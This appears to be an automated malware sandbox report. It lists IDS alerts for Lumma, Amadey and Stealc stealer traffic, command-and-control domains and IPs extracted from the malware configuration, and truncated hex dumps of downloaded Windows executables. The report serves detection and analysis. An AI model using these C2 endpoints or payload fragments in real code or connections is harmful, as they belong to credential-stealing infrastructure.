Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:49981 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50066 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50091 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:60777 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:63767 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:50479 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:50442 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:65366 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50095 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:56503 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50112 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:58454 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50121 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:59482 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49968 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:51048 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:63916 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:54522 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:58813 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:50001 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:55131 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:51661 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:63560 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:54381 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49730 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49733 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49744 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49908 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49920 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49920 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49989 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49989 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49998 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50001 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50001 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50011 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50011 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50023 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50023 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50062 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50062 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50033 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50033 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50047 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:50109 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:50113 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50076 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50076 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50124 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49978 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50120 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50116 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50131 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50131 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49926 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49926 -> 172.67.206.204:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:50130 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:50051 -> 104.102.49.254:443
Source: Network traffic Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50122 -> 172.67.206.204:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor URLs: licendfilteo.site
Source: Malware configuration extractor URLs: dissapoiznw.store
Source: Malware configuration extractor URLs: spirittunek.store
Source: Malware configuration extractor URLs: bathdoomgaz.store
Source: Malware configuration extractor URLs: mobbipenju.store
Source: Malware configuration extractor URLs: eaglepawnoy.store
Source: Malware configuration extractor URLs: clearancek.site
Source: Malware configuration extractor URLs: studennotediw.store
Source: Malware configuration extractor IPs: 185.215.113.43
Connects to many different domains
Source: unknown Network traffic detected: DNS query count 41
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:46:22 GMTContent-Type: application/octet-streamContent-Length: 1908224Last-Modified: Mon, 21 Oct 2024 08:30:16 GMTConnection: keep-aliveETag: "67161118-1d1e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4b 00 00 04 00 00 d5 85 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 91 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 91 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 76 77 64 79 69 6b 6b 00 10 1a 00 00 90 31 00 00 02 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 77 67 71 6b 64 66 77 00 10 00 00 00 a0 4b 00 00 06 00 00 00 f6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4b 00 00 22 00 00 00 fc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:46:24 GMTContent-Type: application/octet-streamContent-Length: 1887232Last-Modified: Mon, 21 Oct 2024 08:30:09 GMTConnection: keep-aliveETag: "67161111-1ccc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 6e 74 70 7a 72 6f 00 70 1a 00 00 b0 50 00 00 6a 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 72 6f 65 62 6a 65 00 10 00 00 00 20 6b 00 00 04 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6b 00 00 22 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:46:25 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Mon, 21 Oct 2024 07:51:53 GMTConnection: keep-aliveETag: "67160819-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 10 08 16 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 6b 44 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 d0 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:08 GMTContent-Type: application/octet-streamContent-Length: 2964480Last-Modified: Mon, 21 Oct 2024 08:30:03 GMTConnection: keep-aliveETag: "6716110b-2d3c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 7d c1 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 75 64 62 76 62 79 77 6d 00 b0 2a 00 00 00 06 00 00 a6 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 79 6e 69 6a 71 62 6e 00 10 00 00 00 b0 30 00 00 04 00 00 00 16 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 30 00 00 22 00 00 00 1a 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:17 GMTContent-Type: application/octet-streamContent-Length: 1887232Last-Modified: Mon, 21 Oct 2024 08:30:09 GMTConnection: keep-aliveETag: "67161111-1ccc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 